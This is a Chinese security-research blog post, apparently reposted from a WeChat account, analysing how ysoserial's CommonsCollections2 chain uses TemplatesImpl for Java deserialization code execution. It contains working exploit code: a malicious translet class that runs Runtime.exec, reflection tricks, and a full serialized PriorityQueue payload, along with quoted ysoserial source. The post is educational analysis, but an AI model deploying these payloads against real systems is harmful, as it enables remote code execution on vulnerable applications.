『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

admin 2023年3月21日18:22:53评论27 views字数 13336阅读44分27秒阅读模式

点击蓝字,关注我们



日期:2023-03-21
作者:ICDAT
介绍:这篇文章主要是对 ysoserial cc2TemplatesImpl 的利用进行分析。

0x00 前言

上次我们对TemplatesImpl在反序列化漏洞中的利用进行了分析,其可以通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性来实现代码执行。

而我们在看ysoserial cc2的代码时,发现其通过TemplatesImpl来实现了一条新的利用链。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

0x01 通过TemplatesImpl.newTransformer执行任意代码

通过对TemplatesImpl在反序列化漏洞中的利用分析,我们知道TemplatesImpl执行代码的逻辑如下。

首先是新建一个AbstractTranslet类的子类,在构造方法或static静态代码块调用计算器。

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} public Test() throws IOException { super(); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }}

通过反射设置TemplatesImpl的成员变量的值。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class RunTest { public static void main(String[] args) throws Exception { //获取字节码 byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");
//执行newTransformer()方法触发弹窗 templates.newTransformer();

}}

即调用TemplatesImplnewTransformer()方法可以实现执行任意代码。

0x02 InvokerTransformer.transform执行输入类的任意方法

我们之前在分析CC2的利用链时,使用的是之前分析CC5的相同的,通过构造精心构造的可执行代码的transformers数组来执行代码。

        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };

而这里可以执行任意代码的原因,主要是其中的InvokerTransformer.transform方法。

我们来复习一下,之前对CC5的利用链中InvokerTransformer.transform的分析。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

InvokerTransformer.transform通过反射获取input类的iMethodName方法并传入iArgs作为参数来执行。

而我们使用TemplatesImpl来实现另一条利用链的关键点就在这里。

0x03 InvokerTransformer.transform调用newTransformer()方法

综合上面两部分的分析,我们发现,InvokerTransformer.transform可以帮助我们实现调用TemplatesImplnewTransformer()方法。

首先我们new一个InvokerTransformer对象,其iMethodName的值肯定为newTransformer(),又因为TemplatesImplnewTransformer()的形参为空,那么iParamTypesiArgs可设置为null

那么我们来写一下相关代码实现。

首先恶意类。

package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Abs extends AbstractTranslet {
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} public Abs() throws IOException { super(); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }}

然后InvokerTransformer执行transform方法。

package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class InvokeNewTransformer { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class")); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
TemplatesImpl templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");
invokerTransformer.transform(templates); }}

成功弹窗。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

再然后我们就可以类比之前的CC2的代码来插入TemplatesImpl来执行代码。

0x04 TemplatesImpl的CC2利用链

之前的CC2利用链如下:

   ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        InvokerTransformer.transform()                            ConstantTransformer.transform()                            InvokerTransformer.transform()                                Method.invoke()                                    Class.getMethod()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.getRuntime()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.exec()

TemplatesImpl构造的CC2利用链如下:

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        InvokerTransformer.transform()                            Method.invoke()                                Runtime.exec()

我们可以类似CC2的代码,编写TemplatesImplCC2利用的代码。

package ysoserial.payloads;
//这里使用的就是collections4库import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;

public class CC2_temp1 { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class"));
Object templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
Transformer chain = new ChainedTransformer(invokerTransformer); //生成比较器 TransformingComparator tr = new TransformingComparator(chain); //初始化队列并添加元素 PriorityQueue priorityQueue = new PriorityQueue(2, tr); priorityQueue.add(templates); priorityQueue.add(templates); }
}

首先遇到的问题还是之前在分析CC2利用链的时候提到的,PriorityQueueadd方法也可以调用触发compare方法进而提前执行代码。

那么我们在向队列中添加值的时候,就不能直接添加恶意类的字节码,我们可以先添加一下无用的字符,来预先填充,后面可以通过反射来修改队列的值。

那么队列的值是什么呢?

PriorityQueue有个属性值为queue,其就是队列的值。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

add()方法调用了offer()方法。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

offer()方法将队列的值赋值给queue

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

那么我们后续通过反射修改queue的值就可以,需要注意的是queue是个Object数组。

        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        queue.set(priorityQueue,new Object[]{templates,1});

比如这里我们选择添加Integer类型的数字1

同时因为代码逻辑要执行队列值的iMethodName方法,所以invokerTransformeriMethodName的值也需要修改,我们这里选择Integer类的toString方法。后续还是通过反射来修改。

        Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName");        iMethodName.setAccessible(true);        iMethodName.set(invokerTransformer,"newTransformer");

那么完整的payload代码如下:

package ysoserial.payloads;
//这里使用的就是collections4库import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;

public class CC2_Temp { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("target/classes/ysoserial/payloads/Abs.class"));
Object templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Transformer chain = new ChainedTransformer(invokerTransformer); //生成比较器 TransformingComparator tr = new TransformingComparator(chain); //初始化队列并添加元素 PriorityQueue priorityQueue = new PriorityQueue(2, tr); priorityQueue.add(1); priorityQueue.add(1);
Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(invokerTransformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue,new Object[]{templates,1});
serialize(priorityQueue); deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } }
public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } }}

0x05 Ysoserial的CC2代码分析

明白了TemplatesImplCC2利用链,那么我们分析Ysoserial的代码就简单多了。

主要关注createTemplatesImpl方法:

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

传入构造恶意类字节码的三个类作为参数。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

这里的代码用到了javassit的知识,简单做一下方法的功能说明。

ClassPool.getDefault(): 获取到class定义的容器ClassPoolinsertClassPath(): 将需要的类对象的路径注册到ClassPool中ClassPool.get(key): 根据key值去搜索ClassPool中的指定的CtClass对象,即class对象makeClassInitializer(): 创建static代码块insertBefore(): 在方法的起始位置插入代码setName(): 设置类名setSuperclass(): 设置父类toBytecode(): 转换为字节数组

知道了上述知识,那么我们可以知道这段代码先是通过javassit创建了一个恶意类,继承了AbstractTranslet类,其静态代码块中插入了java.lang.Runtime.getRuntime().exec()的语句。

至于setFieldValue方法,其调用了getField方法,通过反射来取得某个类的属性,并对其赋值。

『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

后面的代码是对TemplatesImpl对象的_bytecodes_name_tfactory属性进行了设置。

理解了createTemplatesImplsetFieldValue方法,就会发现其逻辑同我们之前写的payload相同,后续不再分析。

cc2的代码:

package ysoserial.payloads;
import java.util.PriorityQueue;import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;

/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
@SuppressWarnings({ "rawtypes", "unchecked" })@Dependencies({ "org.apache.commons:commons-collections4:4.0" })@Authors({ Authors.FROHOFF })public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1);
// switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1;
return queue; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); }
}

0x06 结语

这篇文章主要是利用TemplatesImpl来构造CC2利用链的分析以及Ysoserial中对CC2payload构造的学习。

https://www.jb51.net/article/205638.htmhttps://www.catbro.cn/detail/5e24008621f41f69f74686a7.html
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。


原文始发于微信公众号(宸极实验室):『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月21日18:22:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』TemplatesImpl 在 ysoserial cc2 中利用分析https://cn-sec.com/archives/1619293.html

发表评论

匿名网友 填写信息